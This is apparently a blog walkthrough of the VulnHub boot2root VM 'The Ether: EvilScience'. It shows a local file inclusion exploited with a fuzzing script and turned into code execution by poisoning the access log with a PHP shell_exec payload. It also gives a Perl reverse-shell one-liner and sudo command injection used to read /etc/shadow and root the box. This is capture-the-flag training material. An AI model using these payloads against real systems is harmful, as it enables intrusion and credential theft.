This post documents the complete walkthrough of The Ether: EvilScience, a boot2root VM created by f1re_w1re, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.


A mysterious company, The Ether has proclaimed an elixir that considerably alters human welfare. The CDC has become suspicious of this group due to the nature of the product they are developing. The goal is to find out what The Ether is up to.

Information Gathering

Let’s kick this off with a nmap scan to establish the services available in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 12:09:bc:b1:5c:c9:bd:c3:ca:0f:b1:d5:c3:7d:98:1e (RSA)
|_  256 de:77:4d:81:a0:93:da:00:53:3d:4a:30:bd:7e:35:7d (ECDSA)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: The Ether

As usual, let’s start with the web service. This is how the site looks like in my browser.

landing page landing page

Let’s use curl and some grep-fu to see if there are any hyperlinks that I can work with.

# curl -s | grep -Eo '(src\=\".*\"|href\=\".*\")' | cut -d'"' -f2

Among the hyperlinks, two of them stand out:

  • ?file=about.php
  • ?file=research.php

A hint of LFI vulnerability? Who knows?

Directory/File Enumeration

Let’s fuzz the site with dirbuster and see what we get.


Dir found: / - 200
Dir found: /images/ - 200
Dir found: /layout/ - 200
Dir found: /layout/scripts/ - 200
Dir found: /icons/ - 403
Dir found: /server-status/ - 403
File found: /about.php - 200
File found: /index.php - 200
File found: /layout/scripts/jquery.backtotop.js - 200
File found: /layout/scripts/jquery.flexslider-min.js - 200
File found: /layout/scripts/jquery.min.js - 200
File found: /layout/scripts/jquery.mobilemenu.js - 200
File found: /research.php - 200

dirbuster finds the same two pages—/about.php and /research.php.

I notice the content of /about.php appears twice before the content of /index.php when I navigate to /?file=about.php.

OK. Now, I’m positive there is LFI vulnerability with the file parameter.

Mapping of DocumentRoot

I try the following common LFI attacks with no success:

  • /etc/passwd
  • /var/log/apache2/access.log
  • /proc/self/environ
  • php://filter
  • php://include

I have success displaying the content of /usr/share/apache2/icons/README.



The parameter allows absolute path in the URL but some kind of filtering for common LFI attacks is in place. The DocumentRoot is also not at the usual /var/www/html. :sweat:

Here’s what I imagine the PHP code in /index.php to look like.

    $file = $_GET["file"];
    if (preg_match("/(etc|proc|var|php:)/", $file)) {
    } else {

To that end, I wrote, a bash script to map out the DocumentRoot by exploiting the file parameter, and fuzzing with the wordlists from SecLists. For this to work, a unique known string in the file must exists.


for word in $(cat "$WORDLIST"); do
    echo "[+] Trying ${PATTERN/FUZZ/$word}"
    if curl -s http://${HOST}/?file=${PATTERN/FUZZ/$word} \
       | grep -E "$KNOWN" &>/dev/null; then
        printf "\n"
        echo "[!] Found: http://${HOST}/?file=${PATTERN/FUZZ/$word}"

Now, let’s give a shot.

# ./ "../FUZZ/about.php" "About The Ether" /usr/share/seclists/Discovery/Web_Content/common.txt
[+] Trying ../pub/about.php
[+] Trying ../public/about.php
[+] Trying ../public_ftp/about.php
[+] Trying ../public_html/about.php

[!] Found:

OK. The script is working—/?file=../public_html/about.php gives me the confidence.

Moving up the next level got me stuck for hours. Not knowing how to move forward, I chance upon at the footer.

Using that as base, I created a custom wordlist with python.
#!/usr/bin/env python

import itertools
import sys

s = sys.argv[1]

for word in map(''.join, itertools.product(*zip(s.lower(), s.upper()))):
    print word

# ./ > custom.txt

Using the custom wordlist with, I’m able to map out the next level.

# ./ "../../FUZZ/public_html/about.php" "About The Ether" custom.txt
[+] Trying ../../theeTHER.CoM/public_html/about.php
[+] Trying ../../theeTHER.COm/public_html/about.php
[+] Trying ../../theeTHER.COM/public_html/about.php
[+] Trying ../../

[!] Found:

At long last. the DocumentRoot is at /var/www/html/



Access Log

Since I can’t access the default /var/log/apache2/access.log, it’s possible that the access log is elsewhere, perhaps even somewhere near.

Using quickhits.txt from SecLists with, I’m able to map out this location.

# ./ "/var/www/html/theEther.comFUZZ" "^[0-9]" /usr/share/seclists/Discovery/Web_Content/quickhits.txt
[+] Trying /var/www/html/
[+] Trying /var/www/html/
[+] Trying /var/www/html/
[+] Trying /var/www/html/

[!] Found:

LFI to Shell

Now that I’ve found access.log, I can corrupt it by sending PHP code through netcat.

# nc 80
<pre><?php echo shell_exec($_GET['cmd']);?></pre>
HTTP/1.1 400 Bad Request
Date: Thu, 08 Feb 2018 20:22:21 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 304
Connection: close
Content-Type: text/html; charset=iso-8859-1

<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
<address>Apache/2.4.18 (Ubuntu) Server at Port 80</address>

With this in mind, I wrote another script to clean up the output from the remote command execution.

CMD="[email protected]"

function urlencode() {
    echo -n "$1" \
    | xxd -p \
    | sed -r 's/(..)/%\1/g'

while getopts ":e" opt; do
    case $opt in
            shift 1
            CMD=$(urlencode "[email protected]")
            echo "Invalid option: -$OPTARG" >&2

curl -s \
     "http://$HOST/?cmd=$CMD&file=$ACCESS" \
| sed -nr '/<pre>/,/<\/pre>/p;/<\/pre>/q' \
| sed -e 's/.*<pre>//g' -e 's/<\/pre>.*//g' \
| sed '$d'

Let’s give it a shot.

# ./ -e "cat /etc/passwd"
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false

Not the PHP code I imagine but close.

    $file = $_GET["file"];

    $file = str_ireplace("etc","",$file);
    $file = str_ireplace("php:","",$file);
    $file = str_ireplace("expect:","",$file);
    $file = str_ireplace("data:","",$file);
    $file = str_ireplace("proc","",$file);
    $file = str_ireplace("home","",$file);
    $file = str_ireplace("opt","",$file);

if ($file == "/var/log/auth.log") {
    header("location: index.php");
} else {

Awesome. Now that I can execute remote commands, it’s reverse shell time. I always like my reverse shell in Perl whenever it’s available on the target system.

perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

To avoid complications, it’s best to urlencode() the above and then spawn a pseudo-tty for optimal output control.


I have shell.

Privilege Escalation

I notice that user evilscience is able to sudo as root.


There’s also a file with the setuid and setgid bit turned on. Notice the file size on this guy? 11MB for a Python file? Something funky is going on here.

www-data has some pretty interesting permissions going on as well.


In any case, let’s run and see what I’m up against.

It appears to be displaying the content of the chosen log file.

For /var/log/auth.log


For /var/log/apache2/access.log


It uses cat to display the content of the files. Recall from above that www-data is able to run as root without password?

Armed with this new knowledge, let’s see if we can display /etc/shadow along with /var/log/auth.log.


Holy smoke. It works.

My guess is that the command goes something like this.

cat /var/log/auth.log /etc/shadow

Perhaps I can use command substitution with backticks to execute another command as root? First, let’s generate a single-stage reverse shell with msfvenom and transfer it over.



Time to test my hypothesis.



Getting to Bikini Bottom :bikini:

There’s a PNG file flag.png in /root that looks like this.


A long base64 encoded string appends to the end of the file.


The cat is now out of the bag.

# strings flag.png | sed '$!d' | sed 's/flag: //' | base64 -d
October 1, 2017.
We have or first batch of volunteers for the genome project. The group looks promising, we have high hopes for this!

October 3, 2017.
The first human test was conducted. Our surgeons have injected a female subject with the first strain of a benign virus. No reactions at this time from this patient.

October 3, 2017.
Something has gone wrong. After a few hours of injection, the human specimen appears symptomatic, exhibiting dementia, hallucinations, sweating, foaming of the mouth, and rapid growth of canine teeth and nails.

October 4, 2017.
Observing other candidates react to the injections. The ether seems to work for some but not for others. Keeping close observation on female specimen on October 3rd.

October 7, 2017.
The first flatline of the series occurred. The female subject passed. After decreasing, muscle contractions and life-like behaviors are still visible. This is impossible! Specimen has been moved to a containment quarantine for further evaluation.

October 8, 2017.
Other candidates are beginning to exhibit similar symptoms and patterns as female specimen. Planning to move them to quarantine as well.

October 10, 2017.
Isolated and exposed subject are dead, cold, moving, gnarling, and attracted to flesh and/or blood. Cannibalistic-like behaviour detected. An antidote/vaccine has been proposed.

October 11, 2017.
Hundreds of people have been burned and buried due to the side effects of the ether. The building will be burned along with the experiments conducted to cover up the story.

October 13, 2017.
We have decided to stop conducting these experiments due to the lack of antidote or ether. The main reason being the numerous death due to the subjects displaying extreme reactions the the engineered virus. No public announcement has been declared. The CDC has been suspicious of our testings and are considering martial laws in the event of an outbreak to the general population.

--Document scheduled to be shredded on October 15th after PSA.


Not for the faint of heart. :broken_heart: